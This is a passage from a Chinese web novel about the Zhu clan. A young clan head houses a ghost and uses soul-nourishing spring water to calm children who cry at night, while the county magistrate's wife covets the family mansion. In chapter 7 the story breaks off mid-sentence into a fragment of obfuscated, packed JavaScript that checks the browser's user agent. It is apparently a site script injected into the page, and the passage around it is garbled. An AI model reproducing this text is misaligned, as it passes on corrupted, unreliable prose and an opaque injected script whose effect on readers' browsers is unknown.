祝长芳没有工作,但是她也不闲着,一大早上起来要做一家四口的早饭,等她男人徐中去国营饭店上班后她还要照顾两个双胞胎女儿,收拾家里,忙着呢。 祝长芳在家做早饭,徐中去小院墙角的水井里提了四五桶水把厨房的水缸灌满,又把院子扫一扫。 “吃早饭了!” 祝长芳一声喊,五岁的徐棠徐梅姐妹俩这才顶着乱糟糟的头发跑出来。 “妈,今天有鸡蛋吃不?” “有,前儿去村里跟人换了两斤鸡蛋,还能吃几天。” 祝长芳摆好碗筷,手上的水在围裙上擦一擦,利索地给两个女儿梳好头,才说:“今天去徐家不要说你们吃鸡蛋了。” “知道啦。” 徐中沉默着不说话。 徐中兄弟三个,他是家里老二,最不得父母喜欢。他父母在罐头厂的工作给了大哥二哥,他找工作、结婚这两件人生大事家里一点忙都没帮,全靠媳妇儿娘家使力。 就这样,他爹妈还惦记上他的工作,说他只生了两个丫头片子没用,要他把国营饭店的工作传给侄子。 为这个,去年媳妇儿带着祝家几个厉害的妇女去说理,两边打起来了,徐大嫂头发薅下来一把,背后怂恿的二嫂也挨了打。 自此以后,他们一家从罐头厂家属院徐家搬到了三清巷,一家四口住着一个小院子,正院、东厢、西厢加起来六间大房子,徐中从小到大没住这么宽敞过。 好日子过没一年呢,大年二十九那天他妈托了亲戚找来三清巷,说是他爸妈知道对不起他,到底是一家人,没得这样就断亲了,这么不孝,以后他的名声还要不要? 又说他爹正月里进五十的大寿,他怎么都该回去一趟,认个错,以后还是一家人。 徐中心里不觉得自己错,但是为了工作,为了名声,还是要去一趟。 徐中吃完放下筷子:“你不爱去那边就不去,我自己去就成了。左右我只请了半天假,最多吃个午饭,下午我回饭店上工去。” 祝长芳自然不想去的,她冷哼:“我要是不去,这不是把话头送到人家手里了?” 她不去,自家男人不知道要听徐家那几个女人多少闲话,她可舍不得。 徐中笑道:“听说罐头厂收果子的那几个大队去年把橘子卖给南江县罐头厂了,这几个月咱们县罐头厂效益不好,工人过年没分到什么好东西,一家几个罐头就算打发了。大哥二哥他们现在不好过,家里都不够操心的,估计没空闲说酸话。” 祝长芳恶心坏了徐家那一家子,平日里也不关心徐家的事,免得自找不痛快,这会儿听徐中说,她脸色一冷:“不对,借口叫咱们过去,不会是问你要钱吧?徐中我可警告你,上回你妈撒泼打滚从你手里要去两百块钱,可是写了字据的,以后生老病死咱们都不管的。” “家里的钱都在你手里收着,你想哪儿去了。” “哼,提前给你提个醒儿。” 徐棠徐梅两姐妹问:“妈,我们去不去?” “不想去?” 两姐妹摇头,徐棠说:“我想去大姑娘那边玩儿,凤婶婶说今儿要把医馆打扫一遍,我们去帮忙。” “大姑娘也是你们叫的?以后得叫家主知道不?” “好哦。” 祝长芳叹气:“唉,什么时候医馆开门接诊就好了。虽然我小时候跟着老爷子没学到真本事,药材还是认得全的,我去医馆求个捡药的工作还是行的,咱们家也好多个收入。” 徐中说:“总会越来越好,咱们家现在过得去,你就别想那么远了。” 祝长芳不搭理徐中,对两个女儿说:“一会儿你们也去徐家,见了人自己回来,中午就在凤孃那边吃午饭,一会儿我把你们的口粮送过去。” 徐棠徐梅姐俩乖乖点头。 祝长芳去凤孃那儿送两个女儿的口粮时跟她说了两句徐家的事,凤孃嫌弃皱眉:“徐中真是那边亲生的?” “我巴不得徐中是他爹妈抱养的,偏偏不是。”祝长芳也想过。 凤孃安慰道:“现在你们撕扒开了,他们以后就是想恶心恶心你们都得找由头,没那么容易。一年也没几次机会见,你别放在心上。” 这就是住在小地方的坏处。 大家抬头不见低头见的,儿女跟父母闹得再难看,不管谁的过错,最后都是年轻的吃亏。为了工作,为了名声,忍气吞声也只能受着,这就是现在的社情。 祝长芳也很无奈。 徐中夫妻俩带着两个女儿去徐家祝寿,两人一进门就看到不大的屋里坐满了人,里头空气都浊了。祝长芳站在门口不愿意进去。 “哟,老二和老二媳妇回来了。不进来等我来请?” 徐中他娘一顿阴阳怪气,屋里亲戚都看着他们夫妻俩。 祝长芳冷笑:“不是你们巴巴地去我家请我?早知道你们不是真心请我,我就不来了。本来嘛,去年你又哭又喊掏空了我家存款还把我们一家四口赶回去,说好了生老病死不相干,白纸黑字写得清清楚楚,大家就该老死不相往来。” 祝长芳似怒非笑瞪徐中一眼:“你还顾念情分,现在你看到了,谁把你看在眼里?” 这话说的,当儿子的有孝心,当妈的却不像个妈,谁占理? 祝长芳好一番怼,好歹话都叫她一个人说完了,嘴巴太厉害了。 徐大嫂连忙出来打圆场,笑道:“哎哟,小棠和小美长这么高了,这才多久没见啊,真是长得快啊,你五堂弟比你们大几个月都没有你们长得高。” 刚才徐老娘还跟亲戚说祝家人亏待她两个孙女,看到这两个脸颊肉嘟嘟的小姑娘,这话说得亏心了。 徐老娘看着徐中恨恨道:“养两个丫头片子这么精心,没见你对你老子娘这么好?” 祝长芳下巴扬起来了,骂人的话还没说出口就被徐大嫂拉开了,“哎呀,弟妹去我屋里坐一坐,我有话跟你说。” 祝长芳眼睛一转,心里有谱了,看徐中他娘对他们一家咬牙切齿的态度,请他们来徐家肯定是徐大嫂的主意。 祝长芳走前给徐中使眼色,徐中带着两个女儿去屋里叫了一圈人,徐棠和徐梅姐妹俩扭头就跑了。 两个小丫头跑得快,他们跑回三清巷的时候祝十安刚吃完早饭。 “你们俩不是去徐家了吗?” 徐棠跑累了,一屁股坐下:“徐家那边的人不喜欢我们。” 徐梅补充:“他们家不喜欢小姑娘的,他们喜欢男娃。” 祝十安轻飘飘道:“哦,他们算什么东西?他们喜欢谁不重要。” 徐棠和徐梅嘿嘿笑,妈妈也是这么说的,她妈妈骂徐家那边的人,经常说他们算什么东西。 祝十安问他们:“我要去后院,你们跟我一起去吗?” “不去不去,我们要跟着凤孃去医馆帮忙的,我们可以干活哦。” 祝十安摸摸她们的小辫子:“好吧,你们去吧。” 祝凤琴在大门口冲姐妹俩招手:“咱们走了。” “来啦来啦。”姐妹俩快活地跟着大人跑了。 祝家这边是一座三进的宅子,后院那个院子左边跨门过去是后花园,后花园的左边有个门,门连着医馆的后院。 如今后花园联通左边医馆的跨门被关着,祝凤琴他们不走后花园过去,直接走前院去开医馆的大门。 祝十安走到后花园。围着不大的花园逛了一圈,这里说是花园,里头种的大半都是各种药草。 “啊,找到了。” 祝十安在靠墙的位置找到一口养着睡莲的水缸,把王二柱从镇魂铃中扯出来,扔到水缸里。 “以后你就在这里住着吧,懂事些,不要半夜出来吓人,我如果听到谁告状,你就滚去地府投胎吧。” 王二柱从荷叶下冒头,讨好道:“您放心,我最会做鬼了,一定不乱跑,乖乖在这里住着。” 祝十安嗯了声,转头走了。 祝十安没去前院,她走到连接医馆的跨门前,门上没有钥匙,看似一推就开,实则是用阵法封住的,普通人就算闯进医馆,也过不来花园。 站在跨院的门口,祝十安都已经听到对面医馆里女人们的说笑声了,凤孃笑得最大声。 祝十安往左边看,左边就是花园的后园墙,院墙那儿有一道门,也是用阵法封住的。 祝十安好奇打开后院墙的门走出去,对着的就是陡峭的石壁。 右边的石壁上开凿了出一阶一阶的石街往山上去,这应该是去山上云台观的小路。 石壁的右边开凿出了一个水窖,水窖门口长满了各种比人还高的杂草,杂草几乎把水窖给遮严实了。 似乎只是山崖下开凿的一个普通水窖,看着不起眼,以祝十安的见识,看出这个水窖里的水不一般,要不也会用阵法封上。 解开阵法,祝十安走进水窖里,食指点了一点水,尝了尝,祝十安惊讶,这个水竟然有微弱养魂的作用。这个云台山还真是风水宝地啊。 对于玄门中人来说,养魂这点微弱的作用微不足道,但是对于普通人来说,这个水有大作用。 就说煎药吧,本来病人身体就比一般人弱,用这个养魂水煎药肯定比用普通水煎药效果好。 祝家后人如果修道不行,靠着独有的养魂水好好行医,祝家也没落不了。 祝十安回头看特意用阵法封起来的后门,这个水窖对祝家太重要了,怎么重视都不为过。 祝十安想到她曾经看过爷爷亲手写的手札,她一直觉得爷爷给病人开的方子药量太轻,那时候爷爷总笑着说:祝家会煎药,只要药煎得好,不用那么大剂量也能治好病。你以后就明白了。 现在祝十安明白了,祝家是怎么靠着一口水窖代代传下去的。 祝十安低头往水窖里看,水窖不算大,四五阶台阶走下去,水窖里面大小最多也只能容纳七八个人,水窖里的水都是从石缝中渗出来的,半水窖水估摸着也只能装满三四个水缸。 有这个水窖在,祝家不行医简直糟蹋了。 不过,不行医,这个养魂水也有别的作用。 祝十安拿葫芦勺舀了半勺,全部倒在水缸里,躲在缸底的王二柱一下浮起来,眼睛亮得发光:“祝大师,这是什么好东西,为什么我觉得浑身好舒服。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这边正忙活走,王富贵提着两条腊鱼,一条腊肉,五斤米来了,正犹豫不知道该去哪家敲门,看到祝家医馆竟然开着,连忙问:“跟诸位打听一下,我来给祝大师送谢礼,该去哪家敲门?” “凤孃,有人来找大姑娘。” 祝凤琴从后院出来,看到王富贵的打扮,站在医馆台阶上就说:“你是王富贵吧。” “是,是我。” “你家的事不是了了吗?你找大姑娘有啥事儿?” 王富贵弓腰点头:“是了了,我家的事了了,今日特地来道谢。” 祝凤琴可怜他一片父母心,做主收了他的谢礼,说:“你家的事我知道,我家平日里不接待外人,不过如果八月半的时候你儿子还在的话,你过来瞧瞧,说不定能见到。” 王富贵忙道谢:“多谢大姐指点。” 凤孃微怒:“喊谁大姐?我看着比你年纪大?什么眼神儿?” 祝凤琴长着一张国字脸,头发不像现在爱追时兴的年轻人剪成齐耳短发,而是梳得整整齐齐的,一根簪子挽在脑后,乍一看像上一辈的人。 实际上。祝凤琴守寡时很年轻,后来到三清巷祝家照顾祝十安,到如今年岁也不到四十,就是打扮得老气。 王富贵知道自己说错话得罪人了,忙道歉:“大妹子,真是对不住。” 王富贵一看就是老实人,祝凤琴也不为难他,让他走吧。 等人一走,医馆里一群女人哈哈大笑,金绣还道:“现在时代变了,也不讲什么寡妇不能打扮好看,我看你不如把头发剪了,编成辫子也成,看着显年轻些。” “我不喜欢,我觉得头发盘起来利索干净。” “凤琴啊,我看你还年轻,如今大姑娘也大了不用你眼不错地盯着,不如你再找一个?” “我觉得也行,找一个县城本地的,以后也住在三清巷,多好。” “除了咱们家,哪家不缺房子住?以你的条件好找男人。” 祝凤琴才不找呢,找个男人背后不是婆家一大家子?都是些麻烦,不如她现在过得自在。 祝凤琴笑着说:“大姑娘说了,以后给我养老,我日子逍遥得很,干嘛找个男人给人家当牛做马?那苦我可是吃够了。” 听到这话,女人们都忍不住唏嘘。 女人命苦啊,远的不说,就说祝凤琴和祝长芳,一个当年就要被婆家吃干抹净逼死了,一个因为生不出儿子,男人不得公婆喜欢更是难捱。 要不是因为她们姓祝,有祝家族人给他们出头,帮衬着,日子真是苦得能拧出汁儿来。 正说呢,祝长芳气冲冲跑回来,张嘴就骂:“一群没皮没脸的狗东西,他们娘老子生他们的时候把脑子跟胎盘一起扔了不成?占便宜没够的臭狗屎,扔地里肥地地都不长苗,废物东西。” 大家都惊了,这是怎么了? 追着祝长芳回来的徐中忙劝:“你别生气,他们说他们的,你管他们做什么?” 祝长芳怒气上头,使劲儿推徐中:“你们徐家没一个好东西,沾一点边就敢划拉我祝家的宅子,给他们脸了!不怕死的就来,叫我看看他们命有多硬。” 祝凤琴拉了祝长芳一把:“说事儿就说事儿,你骂徐中干啥?” 祝长芳指着徐中:“我是没脸说,你自己说。” 徐中回去一趟徐家心里也不痛快,他说:“罐头厂新来的宣传部干事是县长的小舅子,年前不知道听谁说三清巷有空宅子,还说三清巷的宅子最齐整,有一套顶好的三进宅子还带花园,想买来住住。” 三清巷二十多套宅子都是前铺后院的格局,这宅子就不可能建得太大,一般也就是一进二进的格局,三清巷唯一一套三进大宅子还带后花园的,只有一套,那就是每一代祝家家主住的主宅。 祝家人听到这话都气不打一处来:“还有这事儿?太不讲理了。” 祝凤琴咬牙切齿:“说是买来住住,那个语气,就是喊我们送给人家住。呸,管他什么县长的小舅子还是小姨子的,我祝家的宅子不卖,叫他滚吧。” “咱们祝家的宅子什么时候卖过?别说卖了,祝家就是最落魄的时候都没往外租过宅子。” 祝长芳气道:“我那个大嫂说得可好听呢,什么卖县长一个人情,我看是她想要县长的人情吧。罐头厂那么多人,知道祝家的就徐家人不成,为什么其他人家知道县长的小舅子想要祝家的宅子,一个个都不吭声?蠢货一个!” “我就说吧,她那样无利不起早的人,突然主动来找咱们道歉请咱们回去,原来是黄鼠狼给鸡拜年!” 金绣说:“人家到底是县长,不管怎么的,这事儿要跟大姑娘说一声,族里那边也要去说,大家好心里有数。” “对,应该说。” 不用等他们说了,祝十安听到这边祝长芳扯着嗓子骂人就过来了,听完全程,祝十安叫她们别着急:“时代不一样了,现在不是都讲法吗,他们不能只手遮天,咱们祝家也不是土霸王,强买强卖都行不通的。” 那边大概率不是蠢货,要不然也不会拐弯抹角找关系过来说要‘买’宅子。不过应该也不太聪明,如果真聪明就该先去打听打听祝家是什么人家。 不够蠢又不够聪明,不敢乱拳打死老师傅也不会步步为营,这种不瞻前不顾后的人成了不了气候。 时代变了,这个时代的人命比以前值钱,行事不能太粗暴,大家最好都能默契地收着点手。 如果收不住手,宰了就宰了,那叫死有余辜。 徐中背后忽然冒出冷汗,这个看起来平易近人的祝家家主,是个不怕事,也不怕死人的。 谁这么想不通?敢从这样的人家手里拿东西? 8. 第 8 章 天晴了几日,镇山县的群山和街道又笼罩在雨雾之中,淅淅沥沥地下起雨来。 祝凤琴跟几个没工作的妇女在堂屋里糊火柴盒,一块儿做活,扯扯闲话。 “这雨下几天,晴几天,来来回回折腾到清明,天就放晴了。天放晴了呀,田地里也润透了,清明前后就该点豆种瓜了。” “看这架势,今年应该是个好年份,不缺雨水。” “咱们大姑娘喜欢吃什么菜,自留地里多种点。” “她呀,好吃的都喜欢,不好吃的多吃两口都皱眉。”说到祝十安,祝凤琴一会儿没见到人就问:“上哪儿去了?” 徐棠跑过来报信:“家主姐姐在屋里忙呢。” “忙啥呀?” “家主姐姐说画平安符。” 徐棠抱着她妈扭来扭去,小屁股挨了一巴掌,笑嘻嘻跑了。 祝凤琴想起来:“族里那几个考上学的孩子要出远门了吧。” 祝长芳说:“也不远,最远的一个学校在武汉,从咱们县走春江坐船出去到长江,顺着长江就到武汉了。坐船中间都不用折腾,不像去其他地方读书的孩子要一趟一趟转车。” 祝凤琴提了一句,大家就想到了大姑娘准备平安符估计是给那几个要出门读书的孩子准备的。 坐祝凤琴右手边的五婶婆捅了祝长芳一下:“我家小孙女夜里总睡不安稳,能跟大姑娘求个平安符戴戴不?” “我帮你问问。” 祝凤琴屁股都没离开凳子,扬起脖子,朝屋里大声喊:“安安呐,五婶婆问你求个平安符。” 祝十安听见了,她拿着平安符从出来说:“把孩子抱过来我瞧瞧。” 五婶婆放心火柴盒,说:“我这就去抱过来。” 祝十安看了一眼天色:“不着急,等雨停了再去吧。” “也行。” 祝十安把平安符交给祝长芳:“芳姐,你抽空跑一趟族里。” 祝长芳笑着接过平安符说:“我最爱干这个,我去送。” 祝十安把平安符交出去了也没闲着,去后院的库房找块木板刻牌位,去后院的时候路过小白蛇的房间,祝十安瞥了一眼,不在,估计又在哪根房梁上挂着。 这蛇运气可真不错,有的吃有的玩儿,在祝家躺平这么多年,想想就舒服。 祝十安唉声叹气,不像她,还要努力修炼。如今呐,灵气散逸,修行还是个事倍功半的事,辛苦啊。 半下午,雨停了。不过看天上还积着乌云,估摸着晚上还要下雨。 祝长芳拍拍手起身,叫两个女儿在这儿玩儿别乱跑:“等我回来接你们。” “知道啦。”姐妹俩在屋里回了一句。 祝凤琴知道她要去族里,说:“带把雨伞去,别半路下雨了。” “我带着呢。” 祝长芳刚走一会儿,五婶婆抱着三岁的小孙女福福过来了,五叔公也跟着到了。 祝凤琴朝屋里喊:“安安,快出来。” 祝十安找到了合适的木板,正找刻刀,听见凤孃喊,放下木板空着手出来。 “大姑娘,你给瞧瞧。” 五婶婆把福福放祝十安手里,说道:“之前找长明瞧过,长明说孩子身体好得很,一点病也没有。” 五叔公补充:“长明也说了,晚上哭估计是热了冷了,还是冬日里被子盖太厚了不舒坦,也没拿药。” 福福眼睛圆圆的,眨巴着眼睛可爱极了,祝十安摸她的脉,随后又摸她的额头,小孩儿舒服得直哼哼,额头一个劲地去贴祝十安的手。 祝十安笑了,手拿开,被小丫头攥着手指头放脸上放,又高兴了。 祝十安摸了下她的脸蛋,把孩子给五婶婆,说:“没什么大事,小孩儿魂轻容易惊着,安安魂就成了。” 祝十安指着桌上的热水壶:“凤孃煮的甘蔗水,给福福喝点儿。” 五婶婆愣了下,点点头:“甘蔗水有点甜,福福爱喝这个。” 手里忙个不停的几个年轻媳妇儿都笑了,哪有孩子不爱甜口的。 “我来倒水。” 祝凤琴倒了好几碗甘蔗水,大家一人一碗。 “甘蔗是金绣给的,她家后墙根底下种了一窝甘蔗,长得不好,结巴多费牙,她送了我两根,用来煮水喝好得很。” 五婶婆笑说:“我们都跟着沾光了。” “嗨,这个东西又不值钱,沾什么光。”祝凤琴扭脸喊:“小棠,梅梅,快过来。” “来啦!” 姐妹俩跑过来,桌上留了两碗水给她们。 徐棠一口气喝了半碗,高兴得很:“这个好喝嘞。” 小梅砸吧嘴:“比我妈煮的甘蔗水好喝。” 福福嘴巴上一滴甘蔗水溢出来了,五婶婆拿帕子给她擦了:“好喝吧。” 福福笑眯眯点头:“好喝呀。” 五婶婆没有多想,以为小孙女就是喜欢喝甘蔗水,就说:“明儿叫你爸找人买两根回来,咱们也煮甘蔗水喝。” “自己煮也可以,水用我这儿的。”祝十安摆摆手走了。 五婶婆没明白,祝凤琴忙说:“我们院里的井水好喝,用我们院里的井水好。” 我们三清巷的水井不都一样吗?有什么不同? 五婶婆这会儿不知道有什么不同,等到晚上就知道了。以往福福夜里要闹好几次,今晚上一次都没醒,睡得那叫一个香。 五婶婆的儿子媳妇儿还不知道怎么了,五婶婆激动地一拍大腿:“好哇,还是大姑娘院子里的水好,咱们福福喝了她院子里的水,晚上就不闹夜了。” “不是吧,喝水就不闹了?”刘欣看着傻笑的女儿,心里不明白。 五婶婆哎哟一声:“大姑娘既然那么说了,肯定有作用,要不然咱们福福昨晚上为什么睡得这么香?” 五叔公说:“多亏了大姑娘。” 刘欣看她男人祝康川,试探道:“会不会是……那个……” 祝康川立刻明白了:“说不准。” 刘欣立刻问婆婆:“爹,娘,大姑娘当时怎么说的?” “大姑娘说孩子魂轻,容易惊着,安一安魂就好了,叫我们家福福多喝点甘蔗水。” 祝康川和刘欣夫妻俩对视一眼,肯定是这个原因。福福之前夜里睡不好,是不是见鬼了? 夫妻俩一想到这儿就担心得很,早饭都没吃,抱着女儿就去找大姑娘,一定要问清楚。 祝十安可起不了这么早,祝凤琴专门跑去屋里把她叫起来,她才不情不愿地出来见人。 “抱。”福福看到祝十安伸开胳膊。 祝十安还没醒过神来,怀里就多了个小丫头。祝十安轻轻戳她的小脸蛋:“昨晚上睡得好吧。” 福福不懂什么好不好,颠颠儿地在祝十安怀里扭来扭去,高兴呢。 刘欣忙说:“睡得特别好,昨晚上一次都没闹。” “那就好,以后多喝点水,等孩子长大了魂稳住就好了。” “那个水……”刘欣欲言又止。 祝十安笑道:“就是普通水。” “那我们家的水……” 祝十安说:“你们家的水不行,必须是我们家的水。” 祝康川和刘欣明白了,看来还是大姑娘用了手段,都是水,要不然为什么大姑娘这里的水有这个作用? “我家福福以前夜里闹腾,是不是看到什么不干净的东西了?” “不会,孤魂野鬼没胆子进三清巷,咱们三清巷干净得很。”祝十安把孩子给他们:“若是嫌带孩子过来喝水麻烦,你们也可以每天拿碗过来接一碗水带回去。” “不麻烦,我公婆退休在家有空闲,叫他们每天带福福过来也方便。” “对,我爹娘有工夫。” 他们夫妻俩现在只有福福这一个孩子,公婆两个每天换着在家带孩子,累不着。 夫妻俩想到一块儿去了,哪能一样呢,肯定是大姑娘这里煮的水比较好。 祝康川和刘欣夫妻俩一个在粮站上班,一个在县委上班,平日里工作忙,最近因为孩子晚上闹腾睡不好觉,他们夫妻也跟着熬。现在孩子夜闹的事解决了,那简直是大好事。 孩子不闹了,晚上能睡个好觉,夫妻俩的状态肉眼可见地变好了。 三清巷的其他祝家人知道内情,家里有孩子的去主家那边得更勤快了,每日带着孩子去讨碗水喝。 外面的人不知内情,祝康川和刘欣的同事看到他们精神头足,都问孩子怎么哄好的。 “也不知道,自己就好了。”刘欣被同事问到,就这般随口敷衍一句。 “没吃药没打针?” “我家孩子没生病,哪里用得着吃药打针。” 办公室的孙大姐拉着刘欣仔细打听:“我家小孙子也跟你家福福一样爱哭夜,哎哟,生 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孙大姐笑道:“带孩子找大夫看看啊,祝家的大夫看小儿科是家传的,刚好县医院有个祝家的大夫,我带我家小孙子去瞧瞧。” 哦,看大夫啊。 众人不感兴趣了。 祝家的医馆还关着呢,平白无故的不好上门,孙大姐等到下班,真带着小孙子去县医院找祝大夫,在医院门口碰到县长夫妻俩,也是带着孩子来医院看病。 孙大姐打招呼:“何县长你也来医院啊。” 何载明和气地点点头:“孩子有点发烧,带来医院瞧瞧。” 何载明年纪轻,结婚也晚,生育了两个孩子,大儿子六岁,小儿子才一岁多,比孙大姐的孙子大几个月。 “哎哟,最近天气变化大,下雨又冷,孩子是容易生病。” 两边寒暄几句,各自抱着孩子走了。 两边不同路,何县长夫妻带孩子找西医打针,孙大姐抱着孙子去最边上的诊室找祝长明。 “祝大夫啊,你们祝家最会看小儿病症了,你肯定也厉害,快给我小孙子瞧瞧。” “坐下说。” 祝长明给孩子把脉,又检查孩子的舌头,说:“你家孩子健康得很,没毛病啊。” 孙大姐大声说:“有啊,怎么没有,一到晚上就哭,这还不是病?” 祝长明还没来开口,孙大姐又说:“你不会看这个病,你家那位一定会看,不如我跟你去三清巷找你家大姑娘吧。” 祝长明:“……” 孙大姐目的明确,她就是要找祝家那位大姑娘看病。 祝长明:“你孩子真没病。” “你说了不算的。”孙大姐给祝长明使眼色:“原来你家老爷子还在的时候就听说他很会看小儿病症,你家医馆若是还开着,我也不来找你了。” 诊室外面有病人伸头打量,也是要看病的。 祝长明对孙大姐说:“家里的事我说了不算,你坐这儿等等,我叫人回去问问。” “行!” 祝家的医术是家传,祝长明以前跟着祝福如老爷子学医,现在他也带着两个徒弟,祝康林和朱永文。 朱永文高二了,他年纪大些,跑腿去三清巷问问。 祝十安正闲着呢,叫祝长明把人带回来。 得了消息,孙大姐高兴坏了,等祝长明下班立刻就抱着孩子跟他去三清巷。 何载明这个县长到医院看病,医院的领导知道了肯定要来打个招呼,给孩子打完针一番折腾,何载明夫妻从医院出来已经是下班时间了,跟孙大姐刚好瞧见孙大姐抱着孩子跟人离开。 李院长主动介绍:“那个是祝长明祝大夫,会看小儿病是家传的本事,医术不错。” “祝?三清巷祝家?”县长夫人吕雯问道。 李院长点点头,笑道:“三清巷祝家在我们县有名得很,你们也知道?” 吕雯说:“听我弟弟提过一嘴,说祝家空宅子多。” 这话李院长不好接,只笑了笑,假意看了眼手表:“哟,时间不早了,何县长快家去吧,再晚一会儿估计又要下雨了。” 何载明笑道:“我知道,你们这儿一到这个季节,就是春雨绵绵不见山,弯弯河水不见船。” “哈哈哈,是有这个说法。” 客气寒暄两句,两边告辞,县医院门口就冷清了。 9. 第 9 章 镇山县的老住户大都会看天气,县医院的李院长说得没错,天色刚擦黑就又下起了夜雨,淅淅沥沥的夜雨让晚上的气温又降了些,叫看顾生病的孩子的大人,不由得怒火上头。 “下下下,还下,白天下完晚上下,也不知道哪来的这么多雨水,到处湿答答的,看着就心烦。” 屋里只有夫妻俩,吕雯也不顾着男人的面子了,又道:“你怎么选了这么一个地方?我看你留在市里当个办公室主任都比来这个破地方当县长强。” “之前不是跟你说了么,咱们在镇山县干几年,有资历了才好往上走,要是留在市里,我处攒资历,难道叫我办公室主任的位置上混到退休?”何载明摸索着墙上的灯绳拉开灯。 “我爸——” “行了!管着点嘴,别给自己找事儿。” 何载明语气严厉起来,吕雯知道轻重,也不说了。 何载明祖上几代都是贫农,只到了他这一代得了政策的好处读上了书。家里三兄弟中只有他坐得住,一路从小学读到了高中。他毕业那会儿城乡政策还没那么紧,他凭借好成绩进了农业局,成了何家第一个吃上公家饭的人。 何载明为人踏实,做事又不死板,加上他才出身好,被当时还是农业局科长的岳父看中,把唯一的女儿嫁给他,他就成了别人嘴里的赘婿。 何载明不在乎名声,只在乎前程,他知道自己需要有靠得住的人提点,才能不踩坑,少犯错。 他岳父位置不高,但是有见识。那会儿斗这个斗那个闹得那么凶,岳父不让他出头,也不要去瞎掺合,把他打发去乡下做农业指导员去,他一去就是七八年。 前两年岳父说到时候了,刚好市委办公室有空缺,就叫他去当笔杆子写文件。他笔头功夫一般,虽然工作认真,也就是过得去,不出彩。 何载明跟岳父说他适合干实事,坐办公室不适合他,岳父叫他别急,先等等。这一等,就等来了机会。 何载明在市委办公室的两年里,他眼看着那些比他会写文件,会说话的人一个个被清算,被踢出去,他一个市委办公室的新人竟然慢慢成了最有资历那个,靠着不出错还成了在市长那边挂上了号。 去年年底的时候,原来的镇山县县长也是被清算,牵扯进多年前的人命官司落马,他上了镇山县县长的备选名单。 镇山县这个地方啊,民国以前是茶马古道的一段,靠着接待路过的客商也还不错。现在没人走茶马古道了,也就没落了。 县里地方狭小,也没什么厂矿企业,多山少地,农业发展也难,要做出成绩不容易。名单上有两个人知道镇山县的情况后主动退出,这个机会落到了何载明头上。 “不哭不哭哦。” 吕雯抱着哭闹的孩子哄,昏暗的灯光下一切都乱糟的很,何载明接了半碗温水喂小儿子喝。 何载明心也软了,说:“你以后说话别那么无所顾忌,你看看往年那些不管不顾的,去年被清算后去哪儿了?” “怕什么,我又没有贪公家一分钱。我就是觉得这里不如市里好,你看看,孩子病了我都怕大夫医术不好给看出毛病来。这是你亲儿子,你不心疼?” 说完,吕雯摸摸孩子额头,好似有点低烧。 吕雯着急:“县医院的大夫行不行啊,怎么还发烧呢?” “别急,病情有反复常有的事,要是天亮了再不好,我们再去医院瞧瞧。”何载明安慰道:“医生的医术有高低,药总是一样的。” 夫妻俩正着急,昏黄的灯泡闪了两下,熄了。 吕雯气道:“这叫什么事儿啊,还县委大院呢,一天都住不下去了。” 县委大院的房子都是老房子,年深日久的没有好好维护过,连砌墙的砖都松动了,常有不懂事的孩子扣自家墙上的砖玩儿,被大人发现了好一顿打。 何载明嘴里哦哦地哄着儿子,抽空跟媳妇儿说:“也别嫌弃这儿破旧,你才来时不是挺喜欢么,还说院子宽敞,比筒子楼住着舒服。” “那也要好院子才行。”吕雯说:“哎,说起好院子,前些日子向前说三清巷有空宅子,托了关系打听,被人回绝了,你找人再问问。” “将就住着吧,马上要忙春耕了,我哪有空闲。” 吕雯气得咬牙,打他:“工作工作!就知道工作!你工作不是为了你儿子媳妇儿过好日子?现在你儿子想住好院子,你答不答应吧。” 何载明躲了两下:“小心点,漆黑看不清,小心别打着孩子。” “你去不去问?” “去去去,明儿我就去问。” 听着男人不像是敷衍她,是真上心了,吕雯才不说他,摸黑把孩子接过来自己抱着:“你明天还要去上班,你睡吧,孩子我哄着。” 何载明叹气,孩子真不好带:“咱们家老大劳烦岳父岳母带在市里读书,小的这个不好麻烦岳母,要不然你哥嫂该不高兴了,不如把我娘请过来帮你带孩子?” 吕雯气道:“好啊,你娘来,我走。” “你看你,说话就好好说话,生什么气。” 吕雯冷哼:“我不管,我跟你娘合不来,不许叫来。” “我是心疼你带孩子累。” “我愿意累着。” 吕雯抱着孩子身体一转,扯了被子盖着,背对着人,再不说话。 何载明还想再劝,吕雯一个字不想听,烦了就叫他滚。 夫妻俩闹腾了会儿,孩子又哭了,夫妻俩的心都在孩子那儿,哄着孩子这才安静下来。 何载明下半夜才睡,早上起来没精神,打伞出门上班,冰冷的雨水落在身上才醒过神来。 “县长来了。” “早上好,来了。” 何载明对外一向和气,一路打着招呼上楼,上二楼碰到孙大姐,孙大姐手里端着茶杯,茶杯里只有一撮干茶,笑着跟人抱怨,说上个月他们办公室的水壶就碎了,这都一个月了还没给换新的来。 “何止你们办公室的热水壶啊,我们办公室的窗户玻璃碎了两个月了,现在也还没补,这不,为了不吹冷风,我们只能拿报纸糊着挡一挡。” “哈哈,都不容易,走,我去你们办公室借点热水去。”说着孙大姐拉着人就走了。 何载明连忙叫住孙大姐,孙大姐停下脚步:“县长早上好,有事儿交代我?” 周围的人都看了过来。 何载明摆摆手:“不是公事,我就是想问问你家孙子得了什么病,都好了?哪个大夫瞧的?” “哟,怎么的,你家孩子还没看好?”孙大姐听他这样问立刻就猜他的意思。 何载明点点头:“打了针,半夜闹了好几回,早上起来还低烧。” 孙大姐热心道:“打针不行的话看看中医吧,咱们县医院有几个大夫挺厉害的,有两个以前都是在县里开医馆的人家呐。” “你家孩子找谁看的?” “找的祝大夫看的,不过我家孩子跟您家情况不一样,你找祝大夫不一定有用。” 昨天孙大姐嘴上说祝长明擅长看小儿病症那都是恭维的话,她没找祝长明看过病,也不清楚,自然不敢瞎说。 又是祝家,何载明想到媳妇儿吩咐他打听祝家宅子的事儿,这会儿当着这么多人不好问,他给孙大姐道谢:“要是还不好,下午带孩子去县医院再瞧瞧。” 这番话听下来,何县长的孩子生病的消息很快就传遍了,有亲戚在县医院的,都热心给何载明推荐,谁谁谁哪个大夫会看小儿病。 孙大姐和老张私下里说话,老张问孙大姐祝家那位大姑娘本事怎么样,孙大姐多的话没说,只竖起大拇指,老张就明白了。 昨天傍晚孙大姐带着孙子去三清巷,她到的时候一群孩子都要家去吃晚饭了,走之前排队喝了半碗甘蔗水才走。 